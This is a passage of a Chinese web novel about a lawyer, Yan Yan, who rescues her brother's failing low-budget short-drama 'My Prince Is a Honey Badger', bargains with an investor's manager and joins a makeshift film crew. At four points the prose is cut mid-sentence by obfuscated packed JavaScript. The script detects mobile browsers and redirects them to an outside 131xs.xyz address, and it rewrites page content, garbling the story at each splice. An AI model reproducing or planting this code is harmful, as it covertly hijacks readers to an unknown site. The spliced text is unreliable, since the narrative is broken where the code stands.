后面紧跟一个乖巧坐好的表情包。 颜炎当时被身心俱疲,实在没多余精力去深究这突如其来的问题背后藏着什么猫腻。 她只当是颜热一时兴起的念头,或许是想做个科普小视频之类的。 于是也没多问,甚至没抬头,眼睛还盯着电脑屏幕。 一只手熟练地移动鼠标,在层层叠叠的电子文件夹里精准地翻出几个常用的委托创作合同模板。 手指一甩,直接拖进聊天窗口,“duang”地一下给他投送了过去。 附言只有冰冷的三个字:“看这个。” 然后?颜热回了个“收到谢谢!”,就此渺无音讯。 聊天窗口迅速被之后无数的工作群消息淹没,沉到了最底端。 颜炎自己忙得昏天暗地,自然也没再追问。这点微不足道的插曲,很快沉没在加班的海洋里,连泡沫都没剩下。 ...... 思绪收回当下。 颜炎看着手中这份根据她模板签署的合同,一种复杂情绪涌上心头。 “还好你跟编剧签的合同是我给的模版。” 她松了口气,语气带着劫后余生般的庆幸。 她清晰记得模板里重点标亮的条款:编剧享有署名权,但剧本的全部财产性权利 ——发行、改编、拍摄、衍生品开发等一切权利,均独家永久归属于委托方 也就是眼前这个眼神躲闪的颜热。 这份当初为避免版权纠纷设定的强硬条款。 至少拦住了“剧本财产权”这个可能决口的危机。 否则,如果他们签的是编剧享有全部版权或者权利共享的协议,那现在面临的烂摊子将会更加难以收拾。 “前面你拿投资款、付制作费的合同,要是也知道跟我说一下,该多好啊。” 颜炎长叹一声,声音里浸满疲惫和无力。 到了现在。 她已从颜热断断续续的叙述中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513243|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拼凑出这个烂摊子如何一步步“作”出来。 投资人让负责打理自己资金的罗艾拨了笔钱给颜热。 颜热倒好,钱一打到账上。 巨大的兴奋和“被认可”的狂喜就直接冲昏了他那缺乏社会毒打的头脑。 于是就兴冲冲地、擅自把一大笔钱预付给了短剧的制作方。 仿佛这样就能把生米煮成熟饭。 接着,为彰显“创意”。 竟擅自将核心概念从“大熊猫”爆改成“蜜獾”,认为后者“更酷、娱乐性更强”。 然后把自己几篇枯燥无比的报告,修修改改,加了些许对话。 就自信满满地当作“剧本草案”发了过去。 结果可想而知。 那份不具有拍摄可行性的“剧本草案”,被毫不客气地全盘打回。 直到这时,颜热才从自我陶醉的云端跌落,慌了神。 于是只得硬着头皮,慌忙去找个专业的短剧编剧来紧急重写剧本,试图挽回局面。 也正是在这个焦头烂额之际。 他才终于想起自己的通讯录里还有个从事法律工作、或许、可能、大概能帮忙善一下后的姐姐颜炎。 也才有了那场没头没脑、含糊其辞的微信咨询。 ...... “姐,面煮好了。” 颜热的声音从门缝外小心翼翼地挤进来,带着显而易见的怯意。 “你要不先吃,吃完再接着看?” 颜炎却连眉头都没动一下,只是紧抿着嘴唇,对颜热的话充耳不闻。 全部心神都沉浸在那些高速切换、情绪浓烈的画面里。 当罗艾在电话里,抛出那个“一个月内拍出成片换一年还款宽限”的条件时。 颜炎并没有马上同意,也没有断然拒绝,而是争取了两天的缓冲期。 事情已经糜烂至此。 再急吼吼地做决定,很容易跳进另一个火坑。 所以,在带着着复杂的情绪,看完《我的王子是蜜獾》剧本之后。 颜炎就一头扎进了短剧的海洋。 她把自己关在卧室里,拉上窗帘,与外界的纷扰暂时隔绝。 电脑屏幕上接连不断地播放着当下最流行的各种短剧作品。 从霸总、虐恋、重生、到逆袭。 颜炎像一个最刻苦的学生,努力在最短时间内完成恶补。 颜热实在看不过去,默默端一碗面端进来。 ——面条上有菜有肉,还有红红的辣油。 颜炎机械地接过面碗,眼睛依旧粘在屏幕上,心不在焉地挑起一筷子挂着红油的面条。 屏幕上的剧情正巧演到一场戏剧性的高潮 ——男主刚喊出“三年之期已到,恭迎战神归来!”,画面一转便是他开着挖掘机把仇家的别墅给铲平了。 颜炎一下子没忍住。 猛地被那口辣油呛了个正着,剧烈地咳嗽起来。 “噗”地一声。 刚吸进嘴里的面条全喷了出来,几根还狼狈地挂在了键盘上。 她一边咳得满脸通红眼泪直流,一边手忙脚乱地抽纸巾擦拭。 就在这狼狈不堪的瞬间,一个念头猝不及防地闪现—— 等等! 那本《我的王子是蜜獾》剧本,虽然乍看荒诞。 但内核——一个强者沦落底层受尽欺凌,最终逆袭打脸—— 竟然与屏幕上那些短剧的逻辑惊人地相似! 极致的情绪刺激、快速的打脸反转、简单粗暴的爽感…… 这么一想。 方才还觉得天雷滚滚的剧本,此刻倒是显得很有几分…眉清目秀了。 5. 第5章 仍然是某个投资公司的办公室里。 冰冷的空调冷气依旧开得十足,吹得人手臂泛起细小的鸡皮疙瘩. 与窗外夏日的炎热,形成了两个截然不同的世界。 颜炎甚至能闻到空气中那股熟悉的、混合着打印纸和香氛的味道. 这让她恍惚间有种时间倒流的错觉。 颜炎带着颜热坐在长桌的一侧,这次她还特意让颜热坐在了靠里的位置。 罗艾则独自坐在另一侧,姿态依旧优雅从容。 只是气氛,与上次那令人窒息的压迫感稍有不同。 颜炎的脸上不再看得出之前的焦灼与狼狈。 她在来之前还抽空洗了个头,微湿的短发自然垂落,没有再用发胶死死固定。 只是平静地坐在那里,目光平稳地迎向对面,仿佛不是来乞求宽限,而是来进行一场再平常不过的商业磋商。 而一旁的颜热。 背脊似乎也借着姐姐这股无声的底气,挺直了一些。 虽然他双手还是紧张地放在膝盖上,不时抠一下裤缝。 但至少没有像上次那样,恨不得把自己缩进椅子里消失。 “二位,我提的方案,可想好了?” 罗艾率先发话,指尖轻轻点着桌面上一份准备好的文件。 她的目光掠过颜热,最终精准地落在颜炎身上。 显然很清楚现在谁才是真正能拿主意的人。 “罗经理,您的方案,我们已经认真讨论过了。” 颜炎开口,声音比室内的空调风要暖上几分,但条理清晰。 她这次没有选择那身勒人的职业套装,而是穿了一身质感不错的简约便装。 反而削弱了几分之前的攻击性,增添了一丝便于沟通的柔和。 颜炎稍作停顿,继续道。 “大方向上,我们觉得可以接受。但是具体的细节上,还希望能再与您相互确认一下。” “白纸黑字,对双方都是个保障。” “哦?” 罗艾微微挑眉,神色不变,身体微微后靠,摆出倾听的姿态。 “什么细节?请说。” “很简单。” 颜炎的声音平稳,但目光像钉子一样牢牢锁着罗艾,每一个字都清晰无比,不容置疑。 “第一,如果颜热在一个月内拿出了成片。那么,在这一年里,这片子的版权只能算是抵押给您这边的。” “它不是投资人的资产,只是还钱的担保。” 她稍作停顿,看到罗艾指尖微微一顿,知道自己切中了要害,便继续推进。 “所以第二,在这一年里,这片子但凡赚了一分钱,这钱都得先归颜热。” “您这边不能这边拿着他的片子当抵押,那边又伸手来分他赚的钱。” 最后,她身体稍稍后靠,露出了带着一丝锋芒的微笑。 “第三,也是最简单的。一年后,只要我们连本带利还清了二十万,这片子就和您这边两清,彻底归颜热。” “到时候,投资人不能又说又看上这片子了,想改主意。” ...... 从罗艾那间冷气十足、压抑得让人喘不过气的办公室出来。 一直到走出那栋光鲜亮丽的大楼。 颜炎感觉自己像是完成了一场高强度辩论,精神与体力的双重消耗让她有些疲惫。 后背的衬衫似乎都微微汗湿了。 紧贴着皮肤,带来一阵黏腻的不适感。 阳光猛地刺过来,炽烈而直接。 和楼内恒温的空调环境形成鲜明对比。 街道的喧嚣也瞬间涌入耳膜。 车流声、人语声交织成一片生动的背景音。 颜炎下意识地眯了眯眼,抬手稍稍遮挡了一下这突如其来的明亮。 颜热跟在她身后半步,几乎是同手同脚地挪出来的,动作僵硬得像个提线木偶。 他鬼鬼祟祟地往后瞄了又瞄,确认那栋玻璃幕墙大厦已经离得够远了,彻底看不见了。 这才长长地、极其夸张地舒了一大口气,肩膀猛地塌陷下去,仿佛刚才是一直屏着呼吸的。 “姐!亲姐!” 颜热凑上来,脸上写满了后怕,心有余悸地拍着自己胸口。 “刚才你在里面提那三点的时候,吓死我了!” “罗经理那脸色沉的,我大气不敢出,总觉得下一秒她就要掀桌不谈了!” 颜炎没好气地反手就拍了一下他的后脑勺,手感有点扎人,是他那没打理好的硬头发茬。 “你当罗艾跟你一样容易热血上头呢?” 她语气带着点训斥,却也透着分析案情时的冷静。 “罗艾手握绝对优势,明明可以立刻逼债,却突然抛出‘一个月做出成片换延期’的方案,这本身就很说明问题。” 颜炎停下脚步,站在人行道的树荫里,看着眼前车水马龙。 “那就说明她,或者她背后的投资人,要么是不想逼你太紧,要么想这个项目能尽快有个成果。” 颜热捂着被拍的后脑勺,眼睛眨巴了几下。 脸上那点后怕慢慢被一种“原来如此”的恍然大悟所取代。 “所以…” “所以?” 颜炎截断他的话头,毫不客气地又给了他胳膊一下,催促道。 “所以别愣着了!” “你现在、立刻、马上!去把你那预付了全款的的制作团队,给我拉出来干活!” ...... 下午的咖啡馆里。 阳光斜照进来,在空无一人的木质桌面上投下长长的、安静的光斑。 没有几个客人,空空荡荡,冷冷清清的。 只有空调的冷风在呼呼地吹,搅动着空气中残留的一丝咖啡苦涩的香气。 但是,还是没有颜炎的心里冷。 那种由内而外、彻骨的寒意,远比任何空调冷风都更让她感到冰凉。 “这,就是你价都没砍,还垫上了租金请的制作团队?” 她看着眼前,只觉得一股火气直冲天灵盖,不由得攥紧了手里的咖啡纸杯。 杯壁被捏得微微变形,温热的咖啡险些从吸管口溢出来。 只有唯二的两个人,坐在圆桌对面—— 一个穿着满是口袋的马甲、正低头刷手机的胡子男。 还有一个看起来像是学生的女孩。 她的目光像探照灯一样扫过这“豪华阵容”。 最后死死钉在缩在角落、恨不得把自己塞进盆栽里的颜热身上。 颜热被盯得,额头直冒汗,手指用力地绞着衣角,结结巴巴地开口。 “姐,不是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513244|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的,你听我解释。” 他声音发虚,眼神飘忽,根本不敢和颜炎对视。 “你是他姐对吧?我来给你解释。” 胡子男终于从手机屏幕上抬起头,几步走过来,很是自来熟地一搭颜热的肩膀。 颜热被他拍得一个趔趄。 “他之前跟我们签约的时候,我们可是配了最好的团队给他。” 胡子男声音洪亮,还带着点老油条的圆滑。 “结果他发过来的第一版那个…剧本。” 他顿了顿,脸上露出一个难以形容的表情,混合着荒谬和好笑。 “根本没法拍。瞧着顶多算个上多媒体课时,播放用的PPT脚本。” 颜炎没说话,只是继续瞪着颜热。 颜热的脑袋垂得更低了。 常营呵呵一笑,继续道。 “我给他推荐了合作的编剧,人家看我面子,推了别的活儿,紧赶慢赶。” “才把一版还算能用的剧本给他搞了出来。够意思了吧?” 颜炎心里的火气稍稍滞了一下。 原来,编剧还有这么个来头。 她还在奇怪。 颜热这么个沉迷动物世界、社交圈除了亲戚就是同学的资深宅男。 哪里去找的专业编剧? 敢情是人家导演的人情。 常营摊了摊手,表情颇为无奈。 “剧本出来以后,照理说该立刻筹备开机了吧?他却说要先等等。” “我们不知道要等什么,但是行业规矩,时间就是金钱,我们不可能全员什么活也不接,就干等着他一个人吧?” 他特意在“一个人”上加了点调侃的重音。 颜炎已经基本猜到。 这“等等”的时间,就是颜热被投资人发现爆改“蜜獾”,火烧眉毛地跑来求她救命。 她的表情越发有了松动,捏着的咖啡杯的力道也小了不少。 阳光挪移,照亮了颜炎眼底的一丝无奈和了然。 “然后,就是刚才。” 常营双手环胸,语气加重,带着点兴师问罪的味道。 “他今天突然一个电话打过来,火急火燎,就说要立刻马上开工,还要一个月内出成片!” “你说说,我这临时接到号召,还立刻把能干活的人给他凑出来,够对得起他付的那点钱了吧?” 他的话音落下,周围只剩下空调嗡嗡的轻鸣。 那个学生模样的女孩,偷偷打量着颜炎,眼底带着掩饰不住的好奇。 颜炎深吸一口气。 那口气里。 带着咖啡的微苦和空调冷气的味道,也压下了心头翻涌的各种情绪。 片刻后。 她脸上露出了一个极其标准的、甚至堪称职业的微笑,将差点被捏变形的咖啡杯换到左手。 向前一步,伸出手。 “您好,很高兴认识您。具体情况我了解了,这段时间给您添麻烦了。” “我叫颜炎,是颜热的姐姐,现在起,这个项目由我接手。” 常营打量了她一下。 颜炎的眼神清亮沉稳,语气不卑不亢,和旁边那个慌里慌张的颜热形成鲜明对比。 他脸上的不满稍敛,也伸出了手,宽厚的手掌和她轻轻一握。 “常营,导演,幸会。” 6. 第6章 颜炎从常营他们进来开始,目光就在这小小的“团队”里扫了几个来回。 心里总觉得有点不对劲。 好像少了点什么。 但一时半会儿。 又被常营那连珠炮似的解释和颜热那怂包样,给搅和得没抓住重点。 在互相认识、握了手、并且她硬撑着架势说了句“请多指教”之后。 那种缺失感越发明显。 咖啡馆角落的空调似乎又调低了几度,吹得人的胳膊起了一层鸡皮疙瘩。 颜炎终于想起来了。 编剧是导演找的外援解决了,制作团队(虽然寒碜)也算是到位了。 可是最该出现在镜头前的人呢? “常导。” 颜炎清了清嗓子,尽量让自己的声音听起来镇定,其实心里已经开始拉响警报。 “我们这个短剧的演员是…” 她的目光带着询问,在常营和他带来的女孩之间来回移动,期待着得到一个靠谱的答案。 可,颜炎的话还没说完,就被一个略带急促的清亮男声打断了。 “抱歉,抱歉,我来晚了!这地方还真不太好找。” 颜炎闻声抬头。 视线越过常营的肩膀,就看到一个看起来二十出头年轻男子,正从咖啡店门口往这边快步走过来。 他头发微微有些汗湿,脸上带着些许歉意和匆忙带来的红晕。 手里还拎着个看起来颇有些分量的黑色小箱子。 常营转过头,看到来人,脸上露出一种“总算来了”的表情。 他呵呵一笑,打趣道。 “庄文,你总算踩着点来了。要不然甲方可又要质疑我们工作态度敷衍,阵容不齐了。” 然后他顺势转过身,面向颜炎。 手臂一展,做出了一个“请看”的姿势。 “正好,颜总,人这下算是到齐了。” “来,我挨个给你介绍一下,认识一下我们这支……嗯,‘精锐’队伍。” 他首先拇指反向指了指自己。 “我,常营,导演。” 他顿了顿,语气无比自然地补充道。 “也兼摄影,也兼灯光。没办法,时间紧任务重,讲究个资源最大化。” 接着,他抬手拍了下那个学生模样的女孩面前的桌子。 女孩抬起头,推了推脸上的黑框眼镜,有点腼腆地笑了笑。 “这位,白鸣。你可以叫她小白。” 常营介绍道。 “录音,也兼剧本助理和场记。全能型选手。” 最后,他一把拉过刚放下手里的箱子、还在微微喘气的年轻男子——庄文。 “还有这位,庄文。我们重要的……” 常营刻意拖长了音调。 “男主角。” 他清晰地吐出这三个字,然后才慢悠悠地补充。 “兼化妆师。瞧这专业的箱子,绝对是专业的水准。” 颜炎正为这三人身兼数职、一个人当三个人用的离谱配置,而震惊得说不出话。 但站在她对面的庄文却好像比她还震惊,眼睛瞬间瞪圆了,几乎是脱口而出。 “我?男主角?” 他指着自己的脸,难以置信地看向常营。 “常哥,等等!上次你不是这么说的啊!” “不是说好了我演配角,顺带负责化妆吗?怎么突然就变男主了?” 庄文似是反应过来,更加错愕。 “还有,最关键的是!如果我演男主角了,那谁演配角啊?配角戏份也不少啊!” 这个问题像一支箭,嗖地射中了核心。 颜炎的目光也“嗖”一下。 立刻从庄文那张写满懵圈的脸上,集中转移到常营那胡子拉碴的脸上。 她倒要看看,这位身兼数职的导演还能变出什么花样。 就见常营被六只眼睛紧紧盯着——因为颜热也后知后觉地看了过来。 却丝毫不慌不乱。 他甚至还慢条斯理地、抬手摸了摸自己胡子拉碴的下巴,仿佛在斟酌什么重大决策。 然后,就露出一副“事情就是这样我也很无奈但只能如此”的表情,对着庄文语重心长地说。 “唉,原定的那位男主角,临时档期满了,来不了啦。” “你小子形象好,气质佳,是可塑之才,所以破格提拔你了!机会难得,要珍惜啊!” 紧接着。 常营立刻转向颜炎和颜热,脸上瞬间切换成如春风般和煦的笑容。 双手还在空中画了一个圈,把姐弟俩虚虚地包围了进去。 “至于戏份不少的配角嘛……” 他笑得眼睛都快眯成缝了。 “俗话说,我看二位都是能者多劳的面相,而且对自己项目肯定最有感情!” “所以,就辛苦两位甲方,亲自上阵,顶上了!放心,台词不多,很好演的!” 颜炎:“……” 颜热:“……” ...... 郊区某个半废弃的厂房。 空气里弥漫着一股浓重的、混合着铁锈、陈年油污和尘埃的味道。 偶尔有微风从没了玻璃的窗口钻进来,卷起地上的细小颗粒,在光柱里疯狂舞动。 常营开车把一行人拉过来时,介绍说这是他朋友家里的厂房。 拍短剧期间可以给他们免费使用。 在经历了最初的震惊和无语之后,颜炎已迅速接受了现状。 ——甚至应该说是以一种破罐破摔的豁达感积极融入了。 她在之前恶补各种霸总虐恋战神短剧的同时,也顺带扫了几眼行业公众号。 了解过这种短剧的拍摄流程核心精髓。 就是怎么省钱怎么来,怎么速度怎么来,一切为效率让路。 这不就正合了现在这个《我的王子是蜜獾》项目的终极要求么 ——要快,而且绝对、绝对不能再加钱。 “颜总…” 常营用袖子抹了把额头上不断渗出的汗珠。 汗水在他沾着灰的脸上划出几道歪歪扭扭的线。 他刚指挥着颜热和白鸣,把一块破旧的绿幕布在角落里勉强挂起来。 “叫我颜炎。” 颜炎头也没抬,应了一声,手上的活一刻没停。 她正费劲地试图将一个大号空纸箱踩扁,好塞进旁边那个已经快溢出来的巨型垃圾袋里。 动作略显生疏,但架势十足。 “颜炎。” 常营从善如流,改了口,语气里带着点真实的诧异。 “看你一副都市白领的样儿,没想到干起这些杂活体力活还挺利索。” 他看着颜炎利落地踩扁纸箱,又弯腰捡起几根散落的木条,归拢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513245|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一边。 那副戴着劳保手套、跟废弃建材较劲的样子。 跟几个小时前在咖啡馆里那个冷静专业的形象形成了奇妙的反差。 颜炎闻言,终于直起腰。 抬手用手臂蹭了一下有点发痒的额角,结果反而蹭上去一道灰。 她喘了口气,环视着这片被他们临时布置好的“摄影棚”。 “常导,别小看人啊。” “现在这年头,打工的,谁还不是个复合型人才了?” ...... 终于把现场布置得差不多了。 几块看颜色就很旧的背景布勉强挂起,遮住了最破败的墙皮。 LED灯被支了起来,摄影设备也准备就绪。 颜炎瘫坐在一个摇摇晃晃的塑料小凳子上。 拧开一瓶矿泉水,小口小口地喝着。 冰凉的液体划过喉咙,暂时压下了忙碌带来的燥热。 她的目光落在不远处的庄文身上。 他正对着一面边缘剥落的小镜子,神情专注地给自己上妆。 那专业架势和他身上那件贴着卡通蜜獾的T恤,形成了奇妙又和谐的对比。 常营拖着步子走了过来,汗湿的导演马甲敞开着。 他顺着颜炎的视线望过去,最终落在了厂房角落。 那儿摊开着几张厚纸箱,拼成了一张简易的“床”。 颜热就四仰八叉地躺在上面,眼镜歪在一边,嘴巴微张,睡得人事不知。 甚至还发出轻微的鼾声,与其他人的忙碌格格不入。 “看来,你弟弟是不一定指望得上了。” 常营叹了口气,语气里倒是没有太多责备,更多的是在陈述一个无奈的事实。 这体力活和脑力活的双重消耗,显然不是颜热这个宅男能扛住的。 颜炎收回目光,拧紧水瓶盖子,发出清脆的响声。 “这不还有我吗?” 她握紧了水瓶,语气平静,却带着一股不容置疑的担当。 仿佛在说“天塌下来我先顶着”。 常营拧开自己那瓶水,猛灌了几口,喉结剧烈地滚动着。 “我知道你没有拍摄的经验。” 他用手背抹了下嘴,说得非常直接。 “但是现在人手就这么点,要是再让我或者小白也去演。” “那灯光谁打?场记谁做?录音谁举?这个拍摄进度就彻底没法保证了。” 常营顿了顿,给颜炎消化信息的时间,然后指着正在忙碌的庄文。 “今天庄文会先拍他个人的部分,你就在旁边看着,好好琢磨一下,找找感觉。” “明天…最晚后天,就开始拍有你们两个配角的部分。” 他的语气带着一种“通知”而非“商量”的意味,形势比人强。 颜炎默默点了点头。 她心里清楚得很,这个看似胡闹的《我的王子是蜜獾》剧本,本质就是个动物界的龙傲天逆袭爽剧。 庄文是毫无疑问的男主角——那位拽拽的蜜獾王子。 而她颜炎,自然就是那个悲催的配角反派。 前期负责嚣张跋扈、疯狂打脸蜜獾王子。 后期再被觉醒异能的王子狠狠打脸,成为主角辉煌路上的垫脚石。 想到这里。 颜炎下意识地摸了摸自己的脸颊,已经开始隐隐作痛了。 7. 第7章 第一天的拍摄在兵荒马乱、人仰马翻中总算宣告结束。 时间已逼近深夜。 万幸的是。 团队不仅小,而且大家都住在申市的同一个大方向。 彼此距离还不算太远,不至于让这趟送人之旅变成环城马拉松。 仍旧是常营开车。 这位身兼数职的导演依次把几个人分别扔回了他们的住处。 颜炎看着窗外飞速掠过的、变得陌生的城市夜景,身体的每一个细胞都在叫嚣着疲惫。 但大脑深处却有一根弦还莫名紧绷着,无法彻底松弛下来。 直到目送常营的车尾灯在街角转弯,彻底消失在沉沉的夜色里。 她这才长长地、无声地吁出一口气。 转身,几乎是拖着已经快睁不开眼、走路都开始打晃的颜热。 一步一步挪回了自己的小公寓。 开门,开灯。 冷白的灯光瞬间倾泻而下。 照亮了这方小小的、暂时能隔绝外界一切风雨的天地。 颜热几乎是凭着本能摸到了客厅的沙发,刚一沾到垫子。 几乎是秒秒钟,如雷的鼾声就响了起来,沉重而富有节奏。 仿佛要将这一天的所有奔波和紧张都酣畅淋漓地睡出去。 可是,与此形成鲜明对比的是。 卧室里的颜炎,精神却异常清醒。 她躺在自己熟悉的床上,却是翻来覆去。 怎么也找不到一个能入睡的姿势。 白天的一幕幕一样在脑海里旋转: 罗艾精明的眼神、常营油滑又务实的工作风格、庄文对着镜子上妆的专注侧脸、小白举着录音杆微微颤抖的胳膊、还有颜热那永远写满“我错了但下次还敢”的脸…… “反正也睡不着,神经亢奋过度了…” 她盯着天花板上模糊的光影,自言自语地嘀咕。 “要么再熟悉一下明天的拍摄内容?省得现场抓瞎,压力更大。” 这么想着。 颜炎便认命般地半坐起来,靠在了床头,伸手拧开了床头的台灯。 柔和的光线驱散了一小片黑暗。 她探身从扔在椅子上的包里,摸出了那份已经几乎快被翻破的剧本。 剧本封面上。 《我的王子是蜜獾》四个字被设计得张牙舞爪,加黑加粗。 “蜜獾。” 颜炎的指尖无意识地划过那两个字,回忆起颜热曾经两眼放光、喋不休的介绍。 “平头哥…被吉尼斯世界纪录大全收录为‘世界上最无所畏惧的动物’…” 她无奈地摇摇头。 嘴角却不由自主地牵起一丝极淡的、连自己都没察觉到的笑意。 翻开剧本,上面还有白天用笔匆忙记下的笔记和划出的重点。 颜炎阅读着那一段段粗看荒诞搞笑、细看却莫名透着点愣头青式热血的剧情。 不知是不是身体过度疲惫后反而引发了精神上的幻觉,或者被是这个角色本身的莽撞劲儿悄悄给感染了。 颜炎的脑海中,那熟悉的小剧场竟然又一次不受控制地、自顾自地拉开了帷幕。 只是,这一次,剧场中央那个顶着蜜獾脑袋、一副“生死看淡不服就干”模样的王子。 它的身影似乎渐渐模糊,而后清晰地幻化成了她自己的样子。 颜炎仿佛正透过蜜獾的眼睛,看着剧情中的世界。 ...... 【画面切入】 蜜獾王子在异能尚未完全觉醒、被迫蛰伏流浪的日子里,需要不停地躲避丛林与城市废墟中各种凶恶的敌人 ——阴冷的毒蛇、成群结队聒噪的鬣狗、当然还有那只优雅而致命的花豹。 期间挨饿、受伤、中毒更是家常便饭,常常是旧伤未愈又添新伤,狼狈不堪。 (画面与现实思绪交织):这多像是现在的她—— 要面对律所冷酷的裁员通知、投资人罗艾步步紧逼的债务、还有那个虽然极不靠谱经常添堵但至少也算是在努力干活的弟弟颜热。 四面八方都是压力,每走一步都得小心翼翼,生怕行差踏错。 但是,渐渐地。 在一次次的追击与逃亡中,蜜獾王子开始发生变化,微弱的异能不断积累、觉醒。 它不再一味逃跑,开始尝试斗争,甚至瞅准机会笨拙却凶狠地回击。 (画外音/内心OS,带着一丝疲惫的恍然): 蜜獾天生皮毛与肌肉分离,即使被强大的对手咬住,厚实松弛的皮肤也很难被利齿穿透至真正要害。 而且它还能通过这独特的生理结构大幅扭转身体,实现惊人的反制,让对手措手不及。 蜜獾的血液里存在着基因突变,可以中和抵抗多种蛇类的致命毒液,在硬扛过剧烈痛苦的中毒反应后,甚至还能把那条差点要了它命的对手…给炫了。 (镜头的最后,定格在蜜獾—或者说是颜炎,那混合着疲惫、倔强和一丝凶狠的眼神特写上。) ...... 第二天清晨,五点。 手机闹钟那尖锐又持之以恒的铃声刚一响起。 几乎是在同一刹那。 颜炎就像是被弹簧从床上弹射起来,没有丝毫拖泥带水。 她冲进客厅,对着沙发上还在流口水、鼾声轻微的颜热。 不轻不重地踹了一下沙发脚。 “起来!十分钟内洗漱完出门!” 二十多分钟后, 两人已经各顶着一头睡姿压出的、乱糟糟的头发,嘴里机械地叼着片干巴巴的全麦面包。 像两尊迷茫的雕像,站在了清晨清冷的小公寓楼下。 晨风带着未散的凉意。 吹得颜炎一个激灵,面包屑差点呛进嗓子眼。 几乎就在他们站定的同时。 一辆七座车精准地滑到他们面前。 驾驶座的车窗降下,露出常营那张胡子拉碷的脸。 “喲,没想到啊。” 他嘴里声音带着点早起特有的沙哑和调侃。 “你们俩比约定的时间还提早了不少。” “我还以为到了地儿得打好几个电话,才能把你们从床上抠下来呢。” 颜炎白了他一眼,没接话。 拉开车门把还在懵懂状态的颜热塞了进去,自己也跟着钻上车。 得益于出发得早,成功避开了早高峰的可怕洪流。 车子一路畅通无阻地驶向市郊。 窗外的景象从密集的楼宇逐渐变得稀疏。 最后停在了那栋熟悉的、半废弃的厂房前。 阳光刚好越过厂房屋顶,照亮空气中飞舞的细小尘埃。 几人鱼贯而入,厂房里还残留着昨天匆忙布置后的痕迹。 常营也不废话,从他那多功能摄影马甲的大口袋里掏出皱巴巴的剧本,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513246|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指在上点了点。 “好了,颜炎,庄文,你俩先过来对对戏,找找感觉。我先看看……” 他目光在纸面上扫巡。 “就这段吧,蜜獾王子刚失去异能,初来乍到,被不长眼的配角欺负的戏。” 十分钟后。 常营抱着胳膊站在原地,眉头拧成了一个深刻的“川”字。 脸上的表情复杂得难以言说,仿佛刚生吞了什么难吃的食物,又被迫保持微笑。 “呃……那个……” 他摸了摸鼻子,眼神飘忽。 “要不,咱们换一段试试?换点有爆发力的。” 他快速翻动剧本,手指猛地一停。 “就这段!蜜獾王子异能初步觉醒,压抑已久的怒火爆发,痛快反击,把之前欺负他的配角狠狠打脸!” 又过了十分钟。 常营默默地抬起手,用力抹了一把脸。 仿佛想借此擦掉眼前的困扰。 他朝站在空地中央、气氛有些微妙的颜炎和庄文招了招手。 “来来来,你俩过来。” 常营先看向庄文,努力让语气听起来像循循善诱。 “庄文啊,你先说说,你是怎么理解这个主角,前期和后期这种巨大变化的?” 庄文脸上露出明显的困惑,眨了眨眼。 “额……不就是前期比较弱小,所以得隐忍,被欺负。” “后期强大起来了,就要复仇,把场子找回来吗?” 他的表情仿佛在说:这难道不是标准答案吗? 常营不置可否地“嗯”了一声,目光转向颜炎。 “那你呢?颜炎,你怎么看?” 颜炎闻言,下意识地抬手扒拉了一下自己那头本就蓬松的卷发,让它看起来更乱了点。 她思考了几秒,开口道。 “这剧本我来来回回也看过好几遍了。” “我就觉着吧,这蜜獾王子,就算顶了个外星王子的头衔,他骨子里、本质上,他不还是只蜜獾吗?” 颜炎顿了顿,看向常营和庄文,眼神认真。 “所以我觉得,不管是前期看似憋屈地被配角打脸,还是后期爽快地打回去。” “最关键的,不是弱弱强强,而是蜜獾那种‘生死看淡,不服就干’的…呃,劲头。 “只是不同阶段,‘干’的方式和结果不一样而已。” “对啊!就是这个‘不服’!要的就是这个劲儿!” 常营猛地一拍大腿,声音都拔高了几度,脸上那种难以言说的表情瞬间被豁然开朗所取代,“庄文,你演的是‘不服’,不是‘记仇’!气势!重点是那股子气势!” 然而,又试了几次后。 情况依旧诡异。 庄文饰演的“觉醒蜜獾”气势没见长进。 眼神依旧清澈又无辜,挥出的拳头软绵绵像在撒娇。 